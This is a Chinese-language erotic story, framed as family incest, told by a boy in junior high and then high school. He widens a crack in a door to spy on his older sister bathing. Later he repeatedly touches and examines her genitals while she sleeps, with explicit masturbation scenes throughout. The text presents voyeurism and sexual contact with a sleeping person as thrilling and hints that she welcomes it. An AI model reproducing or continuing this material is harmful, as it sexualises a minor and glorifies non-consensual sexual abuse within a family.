【我和姐姐的故事】(完美乱伦)[家庭乱伦]
我上中学时,我家住在一个大杂院的平房里,父母常年在外地工作,每年回
家的次数和时间都很少。我和爷爷、姐姐一起生活。由于从小缺少父母的管教,
虽然我学习成绩一直很不错,但性方面的成长可能和别的孩子有些不同。
我自从有了朦胧的性意识,就开始对姐姐发生了兴趣。姐姐比我大三岁,虽
然长的漂亮,但因为天天都能面对所以也对她的长相没有什么特别的感觉,倒是
对她衣服里面我不熟悉的世界越来越好奇。
当时我家的房子,我爷爷住一间,我在爷爷隔壁的大间(父母的房间,他们
回来我就只能和爷爷挤挤睡,好在不经常这样)我住的大间里还有个小套间,那
就是姐姐的闺房。我初中毕业那年暑假,姐姐正好高中毕业上班了,暑假里,白
天她的房间锁着门,这让我想进去看看有没有什么和她肉体有关的蛛丝马迹的想
法也成了泡影。
晚上她回来,虽然房门开了,但我住的大屋是我家吃饭看电视等主要的活动
场所,所以我也没什么机会进去,有时偷偷进去也会马上被姐姐叫出来。晚上,
姐姐总比我晚睡一会,我在床上假装睡着后总能听见她反锁房门的声音,这使我
更加对她在闺房内的情况产生浓厚的兴趣。
在这年夏天,我偶然发现了一个秘密,就是大姐晚上会端一大盆水锁着房门
在里面擦洗身体,这我早知道,天热嘛,我们都在家里洗。我发现的秘密是这种
旧平房的老式木门,由于用的时间都比较长而会有些裂缝。那天我发现我关了灯
而大姐关了门在里面擦洗的时候,她门下面有一道微弱的几乎看不到的亮光。这
一发现让我兴奋不已。
我忙下床,轻轻的跑出房门,在爷爷的门口听了听,确定爷爷已经睡着了以
后,我马上回到屋里,蹑手蹑脚的走到姐姐房门口,趴在地下,从木门的裂缝往
里看。我把眼睛小心的靠近裂缝处以获得较大的观察角度,结果只能看到一点点
姐姐的小腿和脚,看不见屁股,更别说上边了,我有些失望,但仍然很兴奋。
我听着水声,看到一条淡粉色的内裤和一条白色背心放在床边,断定姐姐已
经脱光了。虽然看不到屁股,但看到小腿和脚,配合着内裤和背心胡乱的放在床
上,想象着上面的样子,仍让我兴奋不已。虽然夏天我天天都能看到大姐的裸露
的小腿甚至无意露出来的大腿,但这种情况下看到感觉则大不一样,毕竟是偷窥
呀!!
我本想一直这样看着直到姐姐穿裤衩我再赶快回床上去,没想到过了一会姐
姐蹲了下来,把盆子放在下面,擦洗下面!
哇!我看到了姐姐大腿和屁股的侧面!虽然只是侧面,但这毕竟是我懂事以
来第一次看见女人的裸体。在厕所看到的倒影毕竟只是倒影。很小的时候妈妈带
我和姐姐去公共浴室的女部洗过很多次澡,但那时狗屁不懂,面对公共浴室那么
多,心甘情愿脱的赤条条的,让我看的大大小小的女人,我却傻的只知道用肥皂
盒玩水,甚至连一点裸体女人的印象都非常朦胧。
现在长大了,懂事了,但再想进公共女浴室简直比登天还难。不知道那么多
女的会不会当时盯着我的小鸡鸡看,会不会兴奋?不管怎样,我毕竟和很多女人
一起洗过澡呀,在大池里泡的时候,那些女人下身可能会流出一些东西。会有很
少的一些沾在我身上甚至嘴上……
看着大姐下身的侧面,想象着这些,我兴奋不已。一只手已经伸进了自己的
内裤揉搓起来。
这时姐姐站了起来,我又看不见屁股的侧面了。姐姐擦干了身子,伸手去拿
内裤,我努力的调整角度试图在姐姐穿裤衩的瞬间看到些什么,但事与愿违。姐
姐伸手拿背心的时候,我连忙起身,提着拖鞋,蹑手蹑脚的跑回床上装睡,因为
姐姐马上会出来倒水。我眯缝着眼睛,借助着大姐的房门打开后射出来的光线偷
看平时很难看到的只穿背心裤衩的姐姐。由于大屋没开灯,姐姐是看不出来我在
看她的。
姐姐倒完了水,回到屋里,「哗……」的一下插上了门,又听到拉灯绳的声
音,我知道今天可看的镜头都完了。
我回味着刚才的镜头,想象着姐姐现在在里面的情况,揉搓着阴茎,过了一
会,拿出准备在席子底下的卫生纸,射了……我想,明天要想点办法把那个裂缝
弄大点……
第二天,我醒来的时候爷爷和姐姐已经在吃早饭了。我起床后胡乱的洗漱了
一下坐下吃早点,一边偷偷的看姐姐房门上那个缝,想着怎么把它弄宽点。姐姐
吃完了就上班去了。爷爷也出去找老棋友下棋去了。
本来,初中刚毕业放了暑假,又没有作业只等上高中的我,应该会象没王的
蜂一样到处玩,但今天我没有出门,我等着他们都走了以后,就关上院子门,进
大屋关上房门,开始琢磨姐姐的房门。
我先趴下往里看了看,只看见很微弱的光线下姐姐整洁的床。由于门锁着,
我只能在外面干,我先试着动了动那块裂缝的木板,发现有些松。
我试着两只手利用摩擦力分别扶住裂缝的两边把板往开掰,结果掰不动。我
想得找个什么工具。
我找了一把改锥,一把锥子,一边小心的用改锥撬裂缝的一头,一边把锥子
伸进裂缝的另一头来回在里面划。弄了一会,我感觉应该大了些。我趴下看看,
发现效果不怎么明显。我继续撬。
撬一会,趴下看看,一直弄了半个多小时,终于我觉得可以看见比较大的面
积了。我也不敢再弄了,怕把裂缝弄的太大姐姐会发现。糟了!我发现改锥撬动
过的痕迹很明显!
我忙用手在裂缝附近蹭了蹭,希望能把痕迹弄的不是那么明显,好在门的颜
色比较深,我觉得不太明显,才松了口气。我又趴下试着看了看,觉得可以了。
嘿嘿,今晚……
我又想起昨晚想象的小时侯去女浴室洗澡的事,不禁有些冲动。手抓着阴茎
两腿夹住身体有些扭曲。真是饱暖思淫欲呀。我想我不能现在手淫。我晚上……
但我实在抑制不住的想象女浴室里的情景。我小时候为什么不好好看看那些
呢!唉!我想着想着,想起游泳恐怕是最能接近女人,一起洗澡的感觉。好!去
游泳!
我马上找游泳裤……
当天,我在游泳池里泡了一个中午,我没有怎么去游,而是看着那些半裸的
女人,想象着她们那单薄的遮羞布里面的情况。想象着女人下身被水冲洗下来的
一些污物可能会溶解在水里,而会很稀释的散布在游泳池中,而我也沾到了哪怕
是一点点……
我想象着那些单薄的女式游泳衣(其实当时的游泳衣比现在的保守多了)如
果突然滑落,那女人不是就和在公共浴室里一样暴露出来了?我盯着她们的大腿
根,盯着她们被游泳衣紧紧包裹着的曲线,盯着那些平时一本正经的女人此时坐
在泳池边上,阴部上只包裹着窄小的一块布却大方的给很多男人看,而在平时这
是不可思议的……
我越想越兴奋,不禁在水里把手伸进了自己的游泳裤,一边轻轻的揉搓着阴
茎,一边盯着一个女人微微露出的屁股的下沿儿,心里面想,为什么大街上,学
校里,还有别的公共场所,女人都不敢暴露这些地方,男人想看这些地方很不容
易甚至会被当成流氓,而在游泳池里情况完全不同呢?
女人们的大腿根大方的展示在男人们面前,而在大街上,有风吹起女人的裙
子她们都紧张的赶快用手整理呢……我并不觉得大街上偶尔露出的女人内裤比女
式游泳衣的下半部分遮盖的少呀?为什么一样是露大腿但这里就可以街上就不行
呢……??
晚上吃饭的时候,我有些紧张,我怕姐姐和爷爷看出来姐姐的房门和以前略
有不同,那改锥划伤的地方在家人都在的时候看起来如此的明显!大概是心理作
用吧……我安慰着自己。
吃过晚饭,我们一起看电视。平时话多的我今天话特别少,而且比平时早的
多就喊瞌睡了。我在爷爷房间里洗了澡,而姐姐一直都在我这边看电视。我上了
床,偷偷的看着姐姐,有些着急也有些紧张。爷爷已经睡了,而姐姐好象今天特
别爱看电视。我就假装先睡了。
实际上我那天确实累了,因为白天在游泳池胡思乱想了一个中午。但我睡不
着。我假装闭着眼睛,姐姐以为我睡了,走到电视前。我以为她要关电视,一阵
窃喜,心想好看的东西马上来了,没想到她只是把电视的声音关小了点,我好不
失望。
终于,我听到电视被关了,然后是水流进盆子的声音,接着应该是大屋的灯
被关了。我悄悄睁开眼睛,姐姐已经端着盆子进了套间。
当我听到熟悉的「哗……」的姐姐插门闩的声音。我动若脱兔!「噌」的一
下窜起来,也没穿拖鞋,飞快的但又脚步很轻的来到姐姐门口,趴下把眼睛贴进
裂缝。
我这么快过来是想抓紧时间看姐姐脱衣服的过程,结果我看到的时候连衣裙
已经在椅子上了,背心也在床上了。嘿嘿,我改造的裂缝果然看的清楚多了。我
看到了姐姐的乳房!我不禁咽了一口唾沫,兴奋的无法形容。
姐姐好象并不急于脱裤衩,而是就那样光着上身,好象在费力的拆什么东西
的包装,拆了一会还没拆开,我听到剪刀的声音,我始终没看到到底拆的什么,
但管他呢,我能看我姐姐光着身子最重要。姐姐终于脱下了裤衩,我也终于看到
了我梦寐以求的镜头!
只见姐姐的那里有一撮黑毛,因为并着腿,下边看不清楚,但这已经让我几
乎兴奋的窒息了!姐姐开始洗澡了,而我一边欣赏着,一边一只手揉搓着我的阴
茎。我当时的动作后来想来很搞笑,就是样子象个解放军战士一样一个胳膊撑着
地,匍匐在那里,另一只手拿着「手枪」。
姐姐终于转了个方向,而我也终于看到了她的屁股。我更兴奋了,几乎想破
门而入,扑上去把脸埋在姐姐的屁股上。但我不能,那样太冒险。我就那样默默
的欣赏着,默默的手淫着。
一会,姐姐已经在擦干身子了,我听到开柜子的声音,接着我看到她穿上了
一条浅黄色的内裤,她把那条淡粉红的内裤扔进盆子,我知道她马上就出来了,
赶紧跑回床上,面对着姐姐的房门假装已经睡着了。姐姐的房门开了,我看见她
已经穿上了背心,接着听到她在外面洗衣服,过了一会,她忙完了,进门「哗」
的一声插上了门,关了灯,今晚的节目也就到此结束了。
此后的一段日子,我每天晚上都进行着同样的偷窥行动,我很慎重,听到插
门声才过去,还要确定爷爷也已经睡了,而看到姐姐穿上裤衩就赶快跑回床上,
所以从来没有出事。暑假结束了。
我上了高中,而随着天气的逐渐变冷,姐姐已经不会在屋子里洗澡了,这使
我很郁闷,只有等来年夏天了……
高一的那个夏天,随着天气的变热,我们又开始在家洗澡了。每次还是我在
爷爷房间洗完,然后到大屋睡觉,然后姐姐在她的套间里洗。而和去年暑假一样
的,我每天都看,而今年我把那个裂缝弄的更大了些,看的也更清楚了,那个暑
假,我几乎天天手淫,感觉自己的身体都有些吃不消了,但我欲罢不能,只要听
到姐姐插门的声音,我就会无法控制的趴在她门口偷看她洗澡。
本来这一个夏天都没什么特别的,但有一次出了点情况——一次,我照旧趴
在那里偷看,姐姐洗完后擦下边,她平常擦下边的时候都是背对着门,那天不知
道怎么是面对着门,当她把一条腿踩在床上把两腿分的很开来擦下身的时候,她
还很夸张的把下身那条缝掰开一点看。这一突如其来的刺激让我乱了方寸,我第
一次看到了女人的阴户,虽然看的不是很清楚,但我几乎窒息了!
我把头向前靠了点,想看的更清楚,却不小心头碰到了门上。虽然碰的声音
很小,但当时夜很静,足以让姐姐听的见,姐姐好象愣了一下,她发现我了?我
吓的腿都软了,想站起来跑但腿不听使唤!但我的眼睛没有离开姐姐,我期待着
奇迹的出现!我希望她没有注意!
我当时心想,反正这时她猛的一开门我再快也来不及,大不了跪在地下求姐
姐原谅我,说我以后再也不敢了,求她不要告诉爷爷。而且我想她也不会家丑外
扬告诉外人吧?我当时的心情象一个等待宣判的犯人。
但姐姐愣了大约有两秒钟,就放下腿,继续擦身体。她没发现???还是以
为自己听错了?我不敢再冒险再看下去了。
我赶快跑回床上,面对着姐姐的房门躺下,我明显的感觉到我的心跳,她一
会出来会怎样?过来质问我吗?哎呀,我刚才太不小心了,居然把头碰到了门。
这时门开了,我的心提到了嗓子眼!但这时出现了一件我意想不到的事情,
姐姐象往常一样端着盆子出来了,但只穿了裤衩,没有穿背心。记得姐姐从里面
出来倒水从来都穿背心的,今天怎么没穿呢?是不是认为我确实睡着了,所以懒
得穿了?
但刚才我头碰到门的时候她确实愣了一下呀?我有点搞不明白。姐姐倒完水
回来了,我又紧张了,会不会过来质问我?但她没穿背心呀?不会过来吧?一直
到听到姐姐房间里传来插门的声音和关灯的声音,我才长出了一口气……
从那以后,我更小心了,而从那以后,姐姐从里面出来倒水都不穿背心只穿
裤衩了。嘿嘿,我不禁暗自得意——姐姐一定认为我睡的很实所以出来干脆懒得
穿背心了。我也多了个镜头可看了。
从那天起还有一个变化,就是姐姐擦洗下身的时候总是面对着我这边,而以
前她一般总是背对着门的。我没想太多,反正我能看的景象比以前更精彩,更刺
激了。我手淫的也更频繁了……
天气慢慢变冷了,我也暂时没的可看了。高二第一学期期末,我在紧张的复
习准备考试,所以那段时间晚上我睡的很晚,常常是姐姐已经睡了我还在复习。
有一天,下着大雪,我们这种平房没有暖气,生着烧煤球的炉子。晚上,我
在大屋复习功课,姐姐已经插门睡了。
爷爷也早都睡了。已经快十一点了,我听见姐姐的门响,大概是起夜吧。
「小虎,把你的计算器给姐用一下。」
我把计算器递给姐姐,顺便习惯性的扫了一眼她穿的什么衣服。她整整齐齐
的穿着睡衣,外面还披着大衣。她关上门,但我并没有听到插门声。过了一会。
我做了些数学题,做完后需要用计算器验算。因为一直没有听到插门声,我
以为姐姐还没睡,就直接推门进去,结果里面没开灯。
我叫了一声:「姐,计算器还用不用?我要用了。」
姐姐没有回答。我开了灯。发现姐姐已经睡着了,计算器放在她胸口的被子
上。
我又轻轻的叫了一声,她还是没反应,大概真的睡了。我拿了计算器,出门
准备验算,但我准备关上大姐屋门的手停住了——姐姐这好象还是头一次睡觉没
插门,这不是我一直以来想要的吗?
我回头看了看姐姐,看起来她睡的正香。我出门把计算器放在了桌子上,关
上写字台的台灯,轻轻的又回到姐姐的房里。我关上门,因为大屋的房门我和姐
姐晚上都是插上的,所以我当时没有插姐姐的房门,反正万一爷爷叫我也进不来。
我仔细的看了看姐姐的脸,又叫了两声,确定她已经熟睡了。
我关上灯,心跳开始加快。我决定要把手伸进被子里去摸姐姐的屁股。虽然
我偷看姐姐洗澡很多次了,但真的要偷摸还是第一次。我尽量的控制自己的紧张
情绪……
我走到床前,把姐姐的棉拖鞋拿过来,跪在上面,手开始轻轻的拉被子。最
近很冷,外面又在下雪,所以姐姐盖的很厚的被子,很难拉开。
我用了很长时间才拉开了一点缝隙。我慢慢的把手深进去,慢到几乎有时候
就那样停着不动。姐姐当时是向里侧躺着的。就要摸到姐姐的屁股了……我紧张
的不得了!终于,我的中指碰到了姐姐的屁股!
我特别轻,特别轻的用中指挨着姐姐的屁股,一边紧张的听姐姐的呼吸声,
看是否她没有察觉,结果姐姐的呼吸声一点也听不到。
因为我的心跳声大的已经掩盖住了别的声音。我就保持这个动作大约两分多
钟,确信姐姐没有反应,我开始继续把手向前伸,由于被子又重又厚,我拉开的
缝隙不大,所以手向前的移动很费力,这反倒帮助了当时已经过分紧张的我。我
借助着被子对我的阻力,尽量缓慢的移动着手。
终于,在我感觉大约已经过了五分钟以后,我的右手完全的摸住了姐姐的屁
股!!
当时虽然姐姐内裤的外面还穿着厚厚的睡衣,但从我右手上传来的姐姐的屁
股带来的刺激足以让我飘飘欲仙!太舒服了!我在摸着女人的屁股!而这个女人
是我的亲姐姐!!当时,我无法形容自己的复杂的心态,紧张、刺激、害怕、舒
服……加上因为长时间跪着而逐渐有些麻的双脚,我陶醉了……
就这样保持着这个姿势摸着我姐姐的屁股一动不动,足足有半个小时,我不
但脚已经全麻了,而且也害怕姐姐会起夜或者感觉到我在摸她,我又非常缓慢的
把手抽了出来,给姐姐掖好被子,我脚麻的站不起来,只好跪着往外走,我艰难
的带上姐姐的房门,就这样爬着上了自己的床。过了几分钟,脚才恢复了知觉。
我一直狂跳的心也逐渐平静下来了。外面的雪还在下,我回忆着刚才的那些
情景,那柔软的屁股,撮动着自己的阴茎……射精以后,我看到桌子上的夜光闹
钟的指针已经指向两点半,我精疲力尽,不知不觉睡着了……
第二天我起晚了。我被爷爷敲门声惊醒,一看表,已经七点半了!我昨晚忘
了上闹钟,比平时晚起了一个小时!而姐姐这时也从她的闺房里睡眼惺忪的冲了
出来,原来她也睡过了点,从前她可是总比我起的还早呀?
我俩都要迟到了,手忙脚乱的草草洗漱了一下,我和姐姐都冲出大门,早饭
也顾不上吃了。由于雪一直在下,我俩都不能骑车,她向单位跑,我向学校跑。
我俩从来还没有这么狼狈过,互相看着笑了笑,我笑的有点尴尬,毕竟我知
道是因为我昨天偷摸姐姐的屁股才造成早上起来的晚了。
而没想到姐姐的笑容更尴尬,看我也在看着她笑连忙低下了头。当时我要赶
着去学校,也没多想。「姐,再见!」「小心点,小虎!」
姐姐回应着,我俩分道扬镳,踩着厚厚的雪,笨拙的跑着……
那天在学校,我精神有些恍惚,一方面我没睡好,一方面我在想昨晚的事。
姐姐一定是忘了插门,以后可能不会忘了吧,毕竟她以前总是插门的……下
午在家写作业,我也不时的停下来发呆,算了,今晚她一定不会忘了插门,我别
多想了,好好复习准备考试吧……一会儿,姐姐回来了。
「哎呀,雪可真大。」姐姐抖着身上的雪花,我过去帮她摘围巾,拔手套。
姐姐把壶从炉子上提下来,一边烤手一边跺脚。
一会,姐姐又自言自语的说「做饭」,就向炉子里加了几个煤球,把壶坐上
转身去厨房给爷爷帮忙。我感觉今天姐姐有些反常。平时回来都是和我有说有笑
的,今天好象除了和我打招呼,就一直在自言自语。也没问我想吃什么。
我作完作业,饭也好了。吃饭的时候,平时一向话多的我们姐弟俩话都少的
多了。
我自己是因为昨晚的事有些尴尬,而姐姐今天是怎么了?想起早上姐姐反常
的起床晚了,刚才的自言自语,我想……嘿嘿,是不是谈恋爱了?呵呵,不告诉
我?
我和姐姐一向感情很好,差不多无话不说。甚至初中时第一次遗精的时候我
也只告诉了姐姐一个人。现在我想她一定是谈恋爱了要不怎么今天有点反常。我
不禁微微的产生了一丝醋意。
爷爷在我也不好问,但后来爷爷看完电视睡了以后我也没好意思问姐姐。如
果是以前我一定会扑到姐姐房间抓住她开玩笑的质问她是不是谈男朋友了,而我
们姐弟俩也常常因为类似的事情而笑成一片。
我觉得现在我和姐姐的关系好象产生了一些微妙的变化,平时觉得说的出口
的话,今天好象不好意思说了。姐姐拿炉子上的水壶倒水洗脚,而我在她不远的
地方复习功课。
一会她把洗干净的袜子挂在炉子旁边的椅子靠背上,说了声:「我先睡了,
小虎,你复习也别太晚了。」
「知道了姐。」我答应着,心里却在盼望她再次忘记插门。
我屏住呼吸注意听大姐的门闩,没有插,没有插,还没有插!我兴奋了!过
了几分钟,还是没有听到插门声!好!她又忘了!我当时,虽然眼睛还在书上看
着,但心已经乱了。我看了看闹钟,想起昨天忘了上闹钟而早上迟到。我连忙把
闹钟先上好。
现在是十点。一个小时后,大姐应该熟睡了吧?我盘算着,一点复习的心思
都没有了。我勉强的看着书,心里却在焦急的等待闹钟的指针指向十一点。
这不到一个小时的时间我当时感觉象过了一个晚上。终于,十一点到了。我
收拾了书包。
快速的洗漱、添煤球、给壶里加满水。我关掉了灯,蹑手蹑脚的来到姐姐房
间门口,轻轻的推开房门——「姐……」我试探性的叫了一声,怕万一她没有睡
着。而我已经想好了,万一她答应,我就说我有点饿了。有什么吃的没有。
结果姐姐没有答应。看来是确实睡着了。我吸取昨天跪的腿麻的教训,从姐
姐床底下找了个小板凳。轻轻的坐在姐姐的床边。我拉了一下被子,今天的被子
好象比昨天好拉的多,没费什么劲就拉开了。
我把手慢慢的放了进去,尽量缓慢的把手放在了大姐的屁股上,有了昨天的
经验,我今天胆子也大了一些。而且我也想好了后路。我和姐姐感情那么好。万
一被发现,我就跪着求姐姐原谅,保证以后再夜不敢了。我想她也就会原谅我,
不会告诉爷爷。
我把手在姐姐的屁股上停留了几分钟,开始尝试慢慢的移动着抚摸。昨天大
概前后将近一个小时姐姐一动都没动,我想她睡觉是很老实的,不会乱动。我胆
子也大起来,开始轻轻的抚摩她的股沟。
由于冬天睡觉穿的比较厚的睡裤,我想姐姐也不太容易觉察。我就这样坐着
摸了大概一个小时,怕再摸下去姐姐突然醒了要起夜。我又摸了几分钟。然后把
手抽出来,掖好被子,把小凳子轻轻的放回床下。蹑手蹑脚的离开了姐姐的房间,
带上房门。我回到自己床上,回味……手淫……然后入睡……
之后的几天,我发现姐姐再也没有插过门,我开始想不明白,姐姐从来都是
插门的呀?怎么最近不插了呢?后来要考试了,我只好每次只摸一会就睡觉,也
不敢手淫了,怕考不好父母过年回来骂。考试的那几天。我都早早的睡了。几天
没有去偷摸姐姐。而姐姐的房门再也没有听见插上的声音……
考试终于结束了。我又可以进行我的偷摸活动了。考完试的第一个晚上,我
和姐姐都睡的特别早。我是假装睡的早,而她还是没插门。
那天晚上我摸的时间特别长,大概两个多小时,胳膊都酸了,而且我胆子也
更大了,敢一只手摸一只手手淫了,但射精不敢在姐姐房间里搞,黑灯瞎火的怕
搞的到处都是。
后来姐姐睡觉的姿势好象不再一成不变的向里侧卧了,而是有时平躺,有时
向外侧卧。平躺的时候,我终于隔着裤子摸到了大姐的阴部,那鼓起来的地方让
我心驰神往…
我初中的时候就学过生理卫生,知道那叫「耻骨」羞耻的「耻」呵呵,这名
字起的真妙,这地方还真有点「耻」。
我暗自庆幸姐姐睡觉非常老实,我摸她的过程中她从来都不翻身也不动。甚
至有一次我瞌睡的不行睡着了又冻醒了而我的手没有离开她的阴部而她还是没有
变换姿势。终于要过年了,父母从外地回来和我们团聚。他们回来后睡大屋,我
和爷爷挤在他的床上,而姐姐的闺房还是她的。
父母睡觉当然要插着大屋的门,而大屋套间里的姐姐呢?她最近插门吗?我
不知道。只是由于一个多星期时间不能偷摸姐姐而很失落。盼着年快点过完,父
母快点走,我又可以睡大屋而去偷摸姐姐了,而我比较担心的一件事是这段时间
要是姐姐恢复了插门的习惯那可就糟糕了。
因为我考试成绩还可以,父母也比较高兴。终于初六到了,他们该走了。我
和姐姐送他们去火车站。临行父母无非说些照顾好爷爷好好学习好好工作的话,
而我脑子里只想着晚上又可以……
从火车站回家的路上,我发现我和姐姐又是很自然的有说有笑的,互相开玩
笑,互相咯吱,笑作一团,和以前没什么区别。我松了口气。姐姐,还是我的好
姐姐呀!
回到家,我反而有些紧张了。和姐姐良好的关系让我对晚上要做的事有些顾
虑。我们姐弟感情这么好,万一她晚上发现了我在偷摸她……该行动的时间到了,
我又恢复了我的本来面目。
我心一横,拿定主意,反正姐姐一向对我都很好,就算万一发现了,大不了
道歉,时间一长也就过去了。
我躺在床上注意听姐姐房间的动静。当确信姐姐没有插门后,我放心了,父
母的回家探亲没有让姐姐恢复插门的习惯。我想以后她也不会插门了吧?不知道
到了夏天她洗澡的时候是不是也不插门?嘿嘿,我得意的扑哧一声笑了。静静的
等了一会,我开始行动了……
终于春暖花开了,由于冬天穿衣服太多,我缺乏运动。再加上几乎每天都要
偷摸姐姐,我觉得我身体状况远没有从前好了。
我开始担心了,我每天下午放学都要打半个小时篮球来锻炼身体,而晚上偷
摸我姐的时间我也无奈的缩短了许多以保证睡眠时间。但我发现缩短时间也有好
处,我因为变的格外珍惜晚上短暂的偷摸时间而胆子更大了,我开始敢用力的抚
摸甚至隔着裤子抠大姐的阴部了。
终于有一天,天气变的更暖和了,大姐也不再穿睡裤而只穿一条裤衩了。这
一自然的衣着变化对我来说太好了!我可以抚摸大姐光滑的大腿了!而三角裤衩
虽然很紧,但屁股会露出下半部分,我也可以摸大姐裸露的半个屁股了!终于有
一天,我壮着胆子慢慢的拉开姐姐的裤衩,把手伸进去一点。
但我还是不敢全伸进去,三角裤衩太紧,手全伸进去会变的更紧,这样大姐
很容易醒。天气更暖了,已经四月中旬了。姐姐盖的厚被子也换成薄被子了。我
也摸的更方便了。
有一天,我再次去摸的时候,情况发生了小小的变化,我知道姐姐一直是穿
窄小的三角内裤的,因为我不但最近摸到了,以前也常常能看到她洗的三角裤衩
晾在大屋。今天摸起来不一样了,今天姐姐穿的好象是一件很宽松的内裤!
这一变化让我兴奋不已!我可以比较容易的摸到里面了!那天,姐姐是平躺
着的,而且腿有点点分开,我小心翼翼的拉开姐姐阴部附近的内裤,手轻轻的摸
上去,哇!我终于摸到女人的阴部了!!那感觉——软软的、滑滑的、湿湿的
(过了很久我才明白为什么是湿湿的)我心跳的厉害,虽然我从来没有偷摸被发
现,但这毕竟是摸到了姐姐最最隐秘,最最敏感的部位呀!
我摸了一会,手上沾了些黏黏的东西,我怕再摸下去大姐真的会醒,而且我
也有强烈的手淫欲望。我拉好被子,带上门,躺在自己床上,一只手抓着已经高
涨的阴茎揉搓着,一只手上还沾着姐姐阴部的黏液,我凑在鼻子上闻了闻,气味
怪怪的,有点香,我用舌头尖舔了舔,有一点点咸。
我把一个手指上的黏液全吃到嘴里,其他手指沾的黏液全部抹到了龟头上,
那天晚上,我手淫的感觉空前强烈,射的时候,我甚至有些痉挛,有些呻吟……
第二天放学,我决定买一个小手电筒。我大胆的决定晚上要近距离的看大姐
的阴部。回到家,我把小手电筒藏在枕头下面盼望着天赶快黑,时间赶快过。由
于天气已经有点热了,那天晚上爷爷睡的有些晚,一直在大屋看电视看到十点才
过去。姐姐已经洗漱完毕上床了,我马上洗漱,关掉电视,关掉灯,静静等待。
我手里攥着小手电筒,想象着一会将要看到的景象,不禁心潮澎湃,阴茎早
已支的老高。由于天气越热,人越不容易入睡,为了安全,我等了很长时间才进
去。
我拍了大姐一下确认她睡着了,几个月来我试探她是否睡着还从来没有一次
她是醒着的。我轻轻的拉开薄被子,为了怕手电筒的光,刺激大姐的眼睛而弄醒
她,我把头钻进了大姐的被子里。
我小心的一只手撑住身体,把手电筒咬在嘴里。一只手轻轻的拉姐的裤衩。
大姐今天还是穿的宽松的裤衩,这使我很高兴,觉得真是天助我也。我拉开
大姐阴部附近的裤衩,打开手电筒,可是由于一只手要撑住身体,一只手要拿手
电筒,裤衩无法拉的很开,只能看见一点边缘的阴毛,不过这已经让我几乎窒息
了!
我为了看的更清楚,换了个姿势,一只手拿手电筒,一只手拉内裤,用头顶
住被子。这个姿势有些费力,但我终于第一次完全的、近距离的看到了女人的阴
部!!
姐姐的阴部看起来是一条缝,不象我那次在小强家偷偷看的黄色录像上那些
外国女人的阴部,张的大大的很难看,中间有个不规则的洞。我当时虽然已经知
道了处女和非处女是有区别的,但并不懂得处女的是一条缝,被弄过的就松了。
我当时只是以为姐姐的阴部长的小巧玲珑,或者是我们中国人的这个东西比
外国的好看,精致吧。我发现在这极端危险的情况下,我反倒没那么紧张了。
我试图分开那缝看看里面的洞,但那缝很紧,我一只手不容易分开,而且那
缝流出一些黏液,我慢慢的俯下身体,把鼻子凑了上去,想闻闻那里到底是什么
气味。
我觉得气味怪怪的,比我昨天沾在手上的味道要重,有一点臭,但也有一点
诱人的香味。
我这样看着,摸着,闻着,大概十几分钟,我保持这个姿势让我实在受不了
了,脖子都酸的动不了了。我虽然舍不得离开,但心想来日方长,夏天快到了,
到时候我就不用这么辛苦顶被子了,顶个毛巾被不会这么辛苦。我慢慢的把头退
出了被子,关上手电筒。拉好被子,出去带上门,回到床上进行例行的回味……
手淫……入睡……
有一天早上五点起来撒尿,尿完了我没带手电筒又溜进了姐姐的房间。这个
时候姐姐一定睡的很香。我麻利的把被子拉开,拨开宽松的内裤,手直接摸到阴
部。
咦?奇怪?这里每次摸不是都是湿的吗?现在摸上去怎么感觉很干?我又来
回的摸了摸,确实很干,而且那缝隙更不容易掰开了。我回到床上,想着这是什
么原因?一会又睡着了……
后来还有过两三次,大姐的阴部是干的,没有一点黏液。我这个处男当时什
么都不懂,也不知道那黏液是干什么的,而我也发现每个月有几天大姐还是要穿
上很紧身的内裤,阴部包着卫生巾,那时候一般大姐都是侧身朝里睡,我也只能
摸摸屁股了。
夏天终于到了,姐姐又开始每天晚上端一大盆水进去了,而我也就每次都从
那个裂缝偷看她洗澡。这个时候,她的门一定是插上的。今年夏天她第一次插门
在里面洗澡。我有些担心,我怕她又开始插着门睡觉了。
我偷看完她洗澡,躺在床上偷偷的看着她出门倒水,和去年夏天的后半段一
样,她出门倒水只穿个内裤,不穿背心,而我也发现她不知道从什么时候开始用
上了胸罩,那东西我见过了。
班里有几个女生带那东西,夏天的单薄上衣很清楚的可以看到那玩意儿。
姐姐倒水回来,进了房门,我真担心她再把门插上,结果我等了一会,没有
听到插门声。我放心了,她只是洗澡的时候才插门。我那天好象特别瞌睡,在等
待姐姐入睡的时间里,自己居然睡着了!
我猛然醒来,发现已经三点多了,哈哈,我居然把这事给耽误了。我起身拿
出手电筒,轻轻的推开姐姐的房门。因为已经三点多了,我并不担心姐姐是否入
睡。我直接拉开毛巾被,也不怕手电的光会惊醒大姐,就趴下来拉开内裤的边缘
来看。我发现这次又没有黏液,大姐的阴部干干的。
我好生奇怪。我这次比较大胆,轻轻的掰开大姐的肉缝,借助手电筒的光,
我把里面也看清楚了。什么阴蒂呀,处女膜呀,尿道呀等等。这些虽然初中的生
理卫生课上没有,但我在小强家看到过一本介绍女性生理结构的书,里面说的很
详细。
我姐姐的阴部唯一和书上不同的是姐姐的阴部是一条缝,而书上的图片上画
的是完全张开的阴部。我就这样看着,摸着十几分钟,实在瞌睡的不行了。我起
身回去睡觉。第二天,我几乎一天都在想为什么姐姐的阴部有时有黏液,有时很
干,尤其昨晚那么干?这种事我是绝对不好意思去问经验丰富的小强的,而生理
卫生书和小强家的那本书都没有这方面的说明。我只好暂时作罢。
暑假里的一个星期天,我有一次从外面玩回来,当时是中午,爷爷在睡午觉,
而我进了大屋发现姐姐也在睡午觉,我悄悄进去,姐姐没有盖毛巾被,而是就那
样穿个背心裤衩,平躺在那里。我轻轻的拉开姐姐裤衩的边缘摸了一下。
结果发现姐姐的阴部很干,这使我再次对此问题产生了疑问。我决定搞清楚
这件事。七天后,当在家休息的姐姐再次睡午觉的时候,我也假装在睡午觉,一
会,我觉得姐姐睡着了。我出去看了看,爷爷也睡着了。
我推门进去,叫了一声「姐」,姐姐没有答应,应该是睡着了,而且没有盖
毛巾被,只是穿着裤衩和背心,我蹲下,轻轻的拉开姐姐的宽松内裤,把手直接
朝阴部摸了上去。姐姐身子好象轻轻震了一下,我吓了一跳,忙把手缩回来,看
了看姐姐的脸,发现她没有醒。
我发现我的手指已经沾上了一点黏液,今天又有了!上个星期怎么没有呢?
我又轻轻的拉开姐姐的内裤底边,一摸果然是湿的,而且黏液还很多……
「小虎……小虎你在不在……」
突然听到爷爷叫我,我吓了一跳,好在我刚才把大屋的门插了。
